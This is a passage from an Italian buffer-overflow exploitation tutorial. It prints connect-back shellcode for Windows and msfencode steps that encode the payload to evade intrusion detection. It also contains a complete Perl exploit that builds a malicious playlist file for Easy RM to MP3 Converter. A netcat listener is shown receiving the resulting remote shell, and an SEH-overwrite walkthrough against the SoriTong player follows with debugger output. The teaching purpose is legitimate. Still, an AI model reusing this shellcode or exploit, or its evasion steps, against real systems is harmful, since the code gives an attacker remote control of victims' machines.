"\xb3\x16\x7e\xd8\xe2\x73\xd9\x09"
"\xf5\xad\x0c\xba\x2d\xb3\xcb\xed"
"\xfc\x3b\x83\xec\x60\x89\xe5\xeb"
"\x02\xeb\x05\xe8\xf9\xff\xff\xff"
"\x5e\xe8\x5c\xff\xff\xff\x89\xc2"
"\x83\xee\x26\x8d\x7d\x04\x89\xf1"
"\x83\xc1\x0c\xe8\xad\xff\xff\xff"
"\x83\xc1\x0c\x31\xc0\x66\xb8\x33"
"\x32\x50\x68\x77\x73\x32\x5f\x89"
"\xe3\x51\x52\x53\xff\x55\x04\x5a"
"\x59\x89\xc2\xe8\x8d\xff\xff\xff"
"\xb8\x74\x7e\x75\xff\x2d\x11\x11"
"\x11\xff\x50\x89\x65\x30\x31\xd2"
"\xb6\x03\x29\xd4\x54\x6a\x02\xff"
"\x55\x18\x31\xd2\xb6\x03\x01\xd4"
"\x31\xc0\x50\x50\x50\x50\x6a\x01"
"\x6a\x02\xff\x55\x10\x89\xc6\x68"
"\x7f\x01\x01\x01\xb8\x02\x01\x11"
"\x5c\xfe\xcc\x50\x89\xe3\x31\xc0"
"\x50\x50\x50\x50\x6a\x10\x53\x56"
"\xff\x55\x14\x31\xc9\xb1\x54\x29"
"\xcc\x89\xe7\x57\x31\xc0\xf3\xaa"
"\x5f\xc6\x07\x44\xfe\x47\x2d\x57"
"\x89\xf0\x8d\x7f\x38\xab\xab\xab"
"\x5f\x31\xc0\x8d\x77\x44\x56\x57"
"\x50\x50\x50\x40\x50\x48\x50\x50"
"\xff\x75\x30\x50\xff\x55\x08\xff"
"\x55\x0c";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
--------- shellcode_test.c END ------------------------
Arrivati a questo punto siamo in grado di utilizzare il nostro shellcode per sfruttare la
vulnerabilità che abbiamo analizzato.
Prima di procedere alla scrittura dello script possiamo aggiungere uno step.
Utilizzando la piattaforma metasploit, rendiamo il codice meno riconoscibile codificandolo.
Abbiamo già visto questo tipo di tecnica nel capitolo 0x10, naturalmente il metodo utilizzato
per codificare è variabile e dipende dall’autore dell’encoder.
All’interno del framework metasploit di back-track versione 5, sono disponibili i seguenti
moduli:
Framework Encoders
==================
Name Rank Description
---- ---- -----------
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 154 di 193
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
Per poter utilizzare un encoder dobbiamo trasferire la nostra shellcode in un formato “.bin”. La
procedura è piuttosto semplice, il seguente è lo script in perl che se ne occupa:
--------- pveWritebin.pl ------------------------
#!/usr/bin/perl
# Perl script written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# This script takes a filename as argument
# will write bytes in \x format to the file
#
if ($#ARGV ne 0) {
print " usage: $0 ".chr(34)."output filename".chr(34)."\n";
exit(0);
}
system("del $ARGV[0]");
my $shellcode=
"Put your shellcode here";
#open file in binary mode
print "Writing to ".$ARGV[0]."\n";
open(FILE,">$ARGV[0]");
binmode FILE;
print FILE $shellcode;
close(FILE);
print "Wrote ".length($shellcode)." bytes to file\n";
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 155 di 193
--------- pveWritebin.pl END ------------------------
Una volta fatto abbiamo un file “.bin”.
Utilizziamo msfencode dalla console del framework:
root@bt:~# msfencode -v -e x86/alpha_mixed -t pl -i connbk_opcode.bin -o encoded_opcode.pl
[*] x86/alpha_mixed succeeded with size 754 (iteration=1)
Possiamo anche scegliere di codificarli più volte, per abbassare la probabilità di
intercettazione da parte degli IDS. Basta aggiungere il parametro –c.
Riprendiamo il nostro script per la creazione del file ‘.m3u’, apportiamo le dovute modifiche:
--------- BuildExploitFile.pl ------------------------
# ConnectBack.pl
# Easy RM to MP3 converter local exploit
# Matteo Tosato 2011
# File name
my $file= "crash.m3u";
# Build junk
my $junk= "A" x 26105;
# Return address
# Jmp from muodule to ESP in USER32.dll
my $eip= "\x53\x93\x3a\x7e";
# Build NOP sled
my $nopsled=
"\x90" x 48;
# Connect back shellcode payload
# Encoded with alpha_mixed matasploit framework module (one time)
my $shellcode=
"\x89\xe0\xdb\xd6\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x5a\x4b\x50\x61\x43\x66\x50\x31\x4f\x30" .
"\x50\x64\x4c\x4b\x43\x70\x50\x30\x4c\x4b\x43\x70\x54\x4c" .
"\x4c\x4b\x54\x30\x45\x4c\x4c\x6d\x4e\x6b\x47\x30\x47\x78" .
"\x43\x6e\x4f\x33\x45\x30\x4e\x6b\x52\x4c\x45\x74\x54\x64" .
"\x4c\x4b\x51\x55\x47\x4c\x4c\x4b\x43\x64\x56\x65\x50\x78" .
"\x43\x31\x5a\x4a\x4e\x6b\x52\x6a\x52\x38\x4e\x6b\x43\x6a" .
"\x51\x30\x43\x31\x5a\x4b\x4b\x53\x47\x44\x52\x69\x4c\x4b" .
"\x50\x34\x4e\x6b\x56\x61\x58\x6e\x50\x31\x49\x6f\x45\x61" .
"\x4f\x30\x4b\x4c\x4c\x6c\x4b\x34\x4f\x30\x52\x54\x54\x47" .
"\x5a\x61\x5a\x6f\x56\x6d\x56\x61\x5a\x67\x5a\x4b\x5a\x54" .
"\x45\x6b\x51\x6c\x45\x74\x47\x58\x54\x35\x4d\x31\x4c\x4b" .
"\x50\x5a\x47\x54\x47\x71\x58\x6b\x43\x56\x4e\x6b\x54\x4c" .
"\x52\x6b\x4e\x6b\x51\x4a\x45\x4c\x56\x61\x5a\x4b\x4e\x6b" .
"\x45\x54\x4e\x6b\x45\x51\x4d\x38\x4f\x79\x50\x44\x47\x54" .
"\x47\x6c\x51\x71\x58\x43\x5a\x4b\x56\x4d\x4c\x6d\x56\x30" .
"\x43\x62\x49\x78\x4d\x78\x4b\x4f\x49\x6f\x4b\x4f\x4e\x69" .
"\x43\x37\x4f\x73\x4f\x34\x56\x68\x4e\x63\x4b\x77\x56\x64" .
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 156 di 193
"\x54\x79\x58\x4e\x51\x65\x58\x6c\x49\x53\x4e\x6e\x50\x4e" .
"\x56\x6e\x58\x6c\x50\x72\x49\x6e\x58\x33\x54\x56\x51\x6e" .
"\x49\x48\x5a\x42\x50\x73\x4b\x69\x56\x69\x4b\x45\x4c\x6d" .
"\x56\x6c\x4e\x5a\x56\x4d\x4d\x63\x58\x4b\x5a\x4d\x49\x6c" .
"\x45\x6b\x4d\x53\x58\x6c\x51\x70\x4b\x39\x5a\x45\x5a\x4b" .
"\x47\x72\x58\x6b\x47\x75\x58\x68\x49\x69\x4b\x4f\x4b\x4f" .
"\x49\x6f\x51\x4e\x58\x68\x43\x6c\x49\x6f\x4b\x4f\x49\x6f" .
"\x4b\x39\x58\x42\x4d\x53\x5a\x4e\x47\x56\x4c\x4d\x43\x4d" .
"\x56\x64\x4e\x69\x49\x61\x4f\x73\x4f\x31\x56\x6c\x5a\x48" .
"\x4e\x4d\x49\x6f\x4b\x4f\x4b\x4f\x4f\x73\x4b\x71\x56\x6c" .
"\x50\x31\x4b\x70\x51\x76\x4c\x78\x47\x43\x54\x72\x56\x30" .
"\x50\x68\x54\x37\x51\x63\x45\x62\x43\x6f\x4f\x79\x4b\x53" .
"\x50\x51\x51\x42\x43\x63\x4b\x4f\x52\x75\x54\x44\x43\x6a" .
"\x43\x69\x4c\x49\x5a\x62\x58\x68\x4c\x4d\x49\x6f\x49\x6f" .
"\x49\x6f\x4f\x48\x54\x34\x51\x6e\x54\x35\x49\x6f\x56\x4d" .
"\x54\x51\x56\x71\x47\x61\x49\x6f\x56\x30\x4f\x79\x43\x55" .
"\x50\x30\x50\x31\x58\x52\x4f\x46\x54\x43\x51\x39\x4b\x64" .
"\x51\x44\x43\x5a\x54\x42\x4b\x4f\x50\x55\x54\x58\x50\x31" .
"\x58\x52\x4c\x76\x47\x73\x47\x71\x5a\x74\x50\x31\x4f\x30" .
"\x56\x30\x56\x30\x56\x30\x50\x50\x52\x4a\x56\x61\x51\x7a" .
"\x47\x72\x4b\x4f\x52\x75\x56\x70\x4d\x59\x49\x56\x52\x48" .
"\x43\x4f\x56\x61\x56\x61\x56\x61\x4d\x68\x54\x42\x56\x61" .
"\x56\x71\x43\x6c\x49\x6e\x58\x4c\x52\x70\x4b\x39\x4d\x33" .
"\x54\x71\x49\x50\x50\x50\x56\x30\x56\x30\x50\x50\x51\x7a" .
"\x56\x70\x52\x73\x51\x46\x49\x6f\x50\x55\x52\x34\x50\x31" .
"\x5a\x69\x4e\x51\x43\x64\x54\x69\x58\x4c\x4d\x59\x49\x77" .
"\x56\x37\x45\x61\x4b\x70\x58\x73\x4d\x7a\x43\x6f\x4b\x76" .
"\x43\x37\x50\x44\x4b\x4e\x52\x67\x54\x6d\x43\x67\x4f\x79" .
"\x5a\x50\x4e\x6d\x51\x6f\x50\x38\x4e\x4b\x4c\x6b\x4c\x6b" .
"\x51\x4f\x56\x51\x4b\x70\x4e\x6d\x52\x57\x50\x44\x50\x56" .
"\x52\x77\x56\x30\x52\x70\x56\x30\x43\x70\x56\x30\x52\x68" .
"\x52\x70\x52\x70\x4b\x4f\x52\x55\x54\x70\x56\x30\x4b\x4f" .
"\x50\x55\x56\x68\x4b\x4f\x51\x45\x56\x6c\x41\x41";
# Write to file
open($FILE,">$file");
print $FILE $junk.$eip.$nopsled.$shellcode;
close($FILE);
print "Create file done!";
--------- BuildExploitFile.pl END ------------------------
Passiamo al test finale,
dato che si tratta di una shellcode connect-back, dobbiamo mettere in ascolto preventivamente
netcat,
C:\env\nc11nt>nc -v -l -p 4444
listening on [any] 4444 ...
Ora possiamo procedere ad avviare il programma e caricare il file Crash.m3u generato.
Il risultato al prompt di netcat dovrebbe essere il seguente:
127.1.1.1: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [127.1.1.1] from (UNKNOWN) [127.1.1.1] 1065: NO_DATA
Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 157 di 193
C:\Programmi\Easy RM to MP3 Converter>
0x17] (Arch: NT) - SEH based exploit
Up
SEH stà per “Structured exception handling”.
Su windows una eccezzione è un evento che occorre quando si verifica un evento non previsto
durante il normale flusso di esecuzione di un programma. Queste eccezzioni possono essere di due
tipi. Possono essere eccezzioni hardware (ovvero inizializzate dalla CPU) oppure software
(applicazioni).
Le prime scaturiscono quando il processore si ritrova a eseguire operazioni non previste, come
divisioni per zero o si ritrova ad accedere ad indirizzi non validi.
Le occorrenze delle eccezzioni software sono causate da ciò che l’applicazione stabilisce ed è
solitamente compito del programmatore implementarle, oppure possono essere innescate dal sistema
operativo stesso.
Le SEH sono niente altro che le implementazioni della gestione di questi eventi. Infatti le
routine vengono solitamente appellate con ‘Handler’.
La cosa interessante è che l’indirizzo di queste routine di gestione è posizionato nello stack.
La nostra indagine per capire di che cosa si tratta, può partire scrivendo il seguente codice
C++:
--------- sehtest.cpp ------------------------
#include <stdio.h>
#include <string.h>
#include <windows.h>
#pragma warning(disable,4996)
int ExceptionHandler(void);
int main(int argc, char* argv[])
{
printf("Application executed");
char temp[512];
__try
{
strcpy(temp,argv[1]);
}
__except(ExceptionHandler()) {}
return 0;
}
int ExceptionHandler(void)
{
printf("Exception");
return 0;
}
--------- sehtest.cpp END ------------------------
La memoria è strutturata nel modo seguente:
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 158 di 193
L’indirizzo della routine per la gestione dell’eccezione è posizionato sullo stack all’interno
di una struttura dedicata; “exception_registration”.
Questa struttura è lunga 8 byte e contiene 2 elementi da 4; uno è un puntatore all’exception
handler successivo (se c’è), l’altro è l’indirizzo dell’attuale codice gestore dell’eccezione.
(SE Handler).
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 159 di 193
Sulla cima del blocco principale, (il blocco della funzione main()), è posizionato un puntatore
alla lista di SEH suddetta. Su macchine intel, quando cerchiamo nel codice disassemblato , noi
vedremo un’istruzione che muove un puntatore DWORD da FS:[0]. Questo ci dice che sicuramente un
exception handler è stato settato per il thread e sarà in grado di intercettare gli errori che
si verificheranno eventualmente. L’opcode per questa istruzione è ‘64A100000000’. Se l’opcode
non viene trovato, signiifca che non c’è alcun exception handler impostato.
Riprendiamo il codice di esempio, compiliamo e produciamo un eseguibile al quale poi ci
attaccheremo con il debugger, affinchè possiamo capire concretamente che cosa si trova in
memoria quando viene utilizzato il costrutto per la gestione degli errori.
Apriamo l’eseguibile con WinDbg.
Executable search path is:
ModLoad: 00400000 00406000 sehtest.exe
ModLoad: 7c910000 7c9c8000 ntdll.dll
ModLoad: 7c800000 7c901000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 78520000 785c3000
C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6f74963e\MSVCR90.dll
L’eseguibile è caricato all’indirizzo 0x400000, allora cerchiamo in questo spazio i byte
dell’istruzione citata in precedenza.
0:000> s 400000 l 406000 64 A1
0040100f 64 a1 00 00 00 00 50 81-ec 0c 02 00 00 a1 00 30 d.....P........0
00401110 64 a1 18 00 00 00 8b 70-04 89 5d e4 bf 74 33 40 d......p..]..t3@
00401671 64 a1 00 00 00 00 50 83-ec 08 53 56 57 a1 00 30 d.....P...SVW..0
Questa dimostra che il gestore delle eccezioni è stato installato. Ora eseguiamo il dump della
struttura TEB,
0:000> d fs:[0]
003b:00000000 0c fd 12 00 00 00 13 00-00 e0 12 00 00 00 00 00 ................
003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................
Seguiamo all’indirizzo indicato:
0:000> d 0012fd0c
0012fd0c ff ff ff ff 20 e9 91 7c-30 b0 92 7c 01 00 00 00 .... ..|0..|....
0012fd1c 00 00 00 00 57 e4 91 7c-30 fd 12 00 00 00 91 7c ....W..|0......|
0xffffffff indica la fine della SEH chain. E’ corretto, dal momento che il programma non è
ancora stato eseguito, windbg è in pausa.
Stessa cosa possiamo vederla con immunity debugger.
Ora, facendo partire il programma, troveremo dei gestori aggiuntivi, dato che vengono aggiunti
solo dopo che il programma è partito:
SEH chain of main thread
Address SE handler
0012FF6C sehtest.00401785
0012FFB0 sehtest.00401785
0012FFE0 kernel32.7C839AD8
Analizzando lo stack troviamo:
0012FF68 00403020 0@. sehtest.00403020
0012FF6C 0012FFB0 °ÿ_. Pointer to next SEH record
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 160 di 193
0012FF70 00401785 …_@. SE handler
...
0012FFD4 8054B6B8 ¸¶T€
0012FFD8 0012FFC8 Èÿ_.
0012FFDC 81BE4020 @¾•
0012FFE0 FFFFFFFF ÿÿÿÿ End of SEH chain
0012FFE4 7C839AD8 Øšƒ| SE handler
0012FFE8 7C817080 €p•| kernel32.7C817080
0012FFEC 00000000 ....
0012FFF0 00000000 ....
0012FFF4 00000000 ....
...
Quando si verifica una eccezione nel processo, l’esecuzione salta al primo handler che trova,
altrimenti salta a quello successivo fino a che non viene incontrato quello di default, che è
sempre l’ultimo nella lista.
I gestori di eccezioni formano una catena linkata lungo tutto lo stack.
In teoria quello che dobbiamo fare nel nostro exploit è:
- Causare una eccezione. Senza questa, il SEH handler non viene richiamato.
- Sovrascrivere il puntatore al prossimo record SEH con alcuni jumpcode. (in modo che possa
saltare alla shellcode). Gli jump code sono indirizzi a locazioni che referenziano istruzioni
nella forma: “pop,pop,ret”.
- Sovrascrivere il SE handler con un puntatore ad una istruzione che ci riporterà al prossimo
SEH ed esegue un “jmpcode”.
- La shellcode viene direttamente piazzata dopo il SE handler sovrascritto.
Anche in questo caso, ricorriamo ad un programma vulnerabile per capire meglio come le
sovrascritture degli indirizzi dei gestori possono essere sfruttate per eseguire codice
arbitrario.
Il programma è “Soriting” versione 1. Si tratta di un altro lettore mp3. Questa volta la
vulnerabilità è localizzata nella parte di programma che si occupa di gestire i file per
personalizzare l’aspetto della skin.
Il seguente codice perl crea un file utile per un primo test:
$uitxt= "ui.txt";
my $junk = "A" x 5000;
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 161 di 193
open(myfile,">$uitxt");
print myfile $junk;
Posizioniamo il file prodotto nella directory di sistema skin/default.
Quando apriamo il programma esso si arresta quasi subito.
Apriamolo con un debugger per vedere quello che accade. EIP non è affatto sovrascritto. Allora
ciò significa che probabilmente non abbiamo sovrascritto un indirizzo di ritorno, ma altro.
All’interno di Immunity debugger, utilizzare la finestra thread e scegliere sul primo thread
“dump thread data block”. A questo punto possiamo vedere i puntatori alla SEH chain.
Poi nella schermata principale dal menù view scegliamo “SEH chain”.
L’handler punta ad una locazione corrotta. “0x41414141”. In questo modo noi abbiamo la
possibilità di controllare EIP e direzionare lo shellocde dove vogliamo.
Un altro buon metodo di analisi per le eccezioni è quello offerto da WinDbg.
Apriamolo e carichiamo l’eseguibile.
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.
CommandLine: "C:\Program Files\SoriTong\SoriTong.exe"
WARNING: Whitespace at end of path element
Symbol search path is: srv*c:\windows\websymbols*http://msdl.microsoft.com/download/symbols
Executable search path is:
ModLoad: 00400000 004de000 SoriTong.exe
ModLoad: 7c910000 7c9c8000 ntdll.dll
ModLoad: 7c800000 7c901000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 77f40000 77feb000 C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77da0000 77e33000 C:\WINDOWS\system32\RPCRT4.dll
...
ModLoad: 7c9d0000 7d1ee000 C:\WINDOWS\system32\SHELL32.dll
ModLoad: 77e90000 77f06000 C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 76b00000 76b2e000 C:\WINDOWS\system32\WINMM.dll
ModLoad: 774b0000 775ee000 C:\WINDOWS\system32\OLE32.dll
ModLoad: 770f0000 7717b000 C:\WINDOWS\system32\OLEAUT32.dll
(c5c.d34): Break instruction exception - code 80000003 (first chance)
eax=00241eb4 ebx=7ffd5000 ecx=00000001 edx=00000002 esi=00241f48 edi=00241eb4
eip=7c91120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c91120e cc int 3
diamo il comando ‘g’ + invio per avviare il programma:
0:000> g
ModLoad: 76340000 7635d000 C:\WINDOWS\system32\IMM32.DLL
ModLoad: 773a0000 774a3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-
Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll
ModLoad: 746b0000 746fc000 C:\WINDOWS\system32\MSCTF.dll
...
ModLoad: 71a30000 71a47000 C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71a20000 71a28000 C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 76e70000 76e9f000 C:\WINDOWS\system32\TAPI32.dll
ModLoad: 76e40000 76e4e000 C:\WINDOWS\system32\rtutils.dll
(c5c.d34): Access violation - code c0000005 (first chance)
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 162 di 193
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=00000041 edx=00000041 esi=0017f504 edi=0012fd64
eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:
00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41
Ci viene segnalata l’eccezione. Controlliamo lo stack:
0:000> d esp
0012da14 a4 dc aa 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0012da24 94 da 12 00 00 00 00 00-68 bb 14 00 00 00 00 00 ........h.......
0012da34 00 00 00 00 00 00 00 00-00 00 00 00 44 87 95 7c ............D..|
0012da44 7f 1e 92 7c 00 eb 12 00-00 00 00 00 01 a0 f8 00 ...|............
0012da54 01 00 00 00 24 da 12 00-1a 02 00 00 d4 ed 12 00 ....$...........
0012da64 8f 04 3c 7e 30 88 39 7e-ff ff ff ff 2a 88 39 7e ..<~0.9~....*.9~
0012da74 7b 92 3a 7e 66 d6 00 00-b8 da 12 00 d8 00 4f 5d {.:~f.........O]
0012da84 94 da 12 00 bf fe ff ff-b8 f0 12 00 40 c7 15 00 ............@...
La sequenza di valori 0xf indica la terminazione della SEH chain.
WinDbg dispone del comando “!analyze”. Questo ci riporta una grande quantità di informazioni
riguardo l’eccezione avvenuta:
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
[...] ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************
FAULTING_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810 mov byte ptr [eax],dl
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 00130000
Attempt to write to address 00130000
FAULTING_THREAD: 00000d34
DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 163 di 193
PROCESS_NAME: SoriTong.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - L'istruzione a "0x%08lx" ha fatto riferimento alla memoria a
"0x%08lx". La memoria non poteva essere "%s".
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - L'istruzione a "0x%08lx" ha fatto riferimento alla
memoria a "0x%08lx". La memoria non poteva essere "%s".
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 00130000
WRITE_ADDRESS: 00130000
FOLLOWUP_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810 mov byte ptr [eax],dl
NTGLOBALFLAG: 70
APPLICATION_VERIFIER_FLAGS: 0
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE
IP_MODULE_UNLOADED:
ud+41414140
41414141 ?? ???
LAST_CONTROL_TRANSFER: from 41414141 to 00422e33
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3
0012fd3c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
...
0012ffa4 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012ffa8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012ffac 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012ffb0 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012ffb4 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012ffb8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012ffbc
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: SoriTong!TmC13_5+3ea3
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: SoriTong
IMAGE_NAME: SoriTong.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 37dee000
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 164 di 193
STACK_COMMAND: ~0s ; kb
FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_SoriTong.exe!TmC13_5
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_SoriTong!TmC13_5+3ea3
Followup: MachineOwner
---------
L’handler che viene utilizzato dal programma non inserito dall’applicazione ma è quello del
sistema. Ovvero quello di default. Andiamo a verificare partendo dalla struttura TEB:
0:000> d fs:[0]
003b:00000000 64 fd 12 00 00 00 13 00-00 c0 12 00 00 00 00 00 d...............
003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................
003b:00000020 5c 0c 00 00 34 0d 00 00-00 00 00 00 08 2a 14 00 \...4........*..
003b:00000030 00 50 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 .P..............
003b:00000040 60 6c 39 e4 00 00 00 00-00 00 00 00 00 00 00 00 `l9.............
003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:000> d 0012fd64
0012fd64 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fd74 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fd84 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fd94 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fda4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fdb4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fdc4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fdd4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
In effetti il puntatore rimanda all’interno di una sequenza di caratteri 0x41, “A”.
Per la creazione dell’exploit ci serve sapere l’offset di “next SEH” e di “SE handler”. Comunque
di fatto non cambia molto dai comuni exploit cha abbiamo già affrontato.
Ecco come dovrebbe apparire la nostra stringa di attacco:
Junk buffer Next SEH SE handler Shellcode
First Exception occours
Do
pop pop ret
Opcode to jump over SE
handler
Puts address of next SEH location in EIP, so
opcode gets executed
Shellcode gets executed
Jump
Come per l’esempio precedente recuperiamo il valore dell’offset per gli indirizzi SEH e next
SEH. Per questo possiamo utilizzare il framework metasploit.
Matteo@wsxp /cygdrive/c/Programmi/Rapid7/framework/msf3/tools
$ ./pattern_create.rb 3000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1
Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3
Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 165 di 193
Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9
. . .
Matteo@wsxp /cygdrive/c/Programmi/Rapid7/framework/msf3/tools
$ ./pattern_offset.rb At6A 2000
588
Per arrivare al SE handler ci sono 588 byte da oltrepassare. Il puntatore next SEH dista invece
588-4 byte.
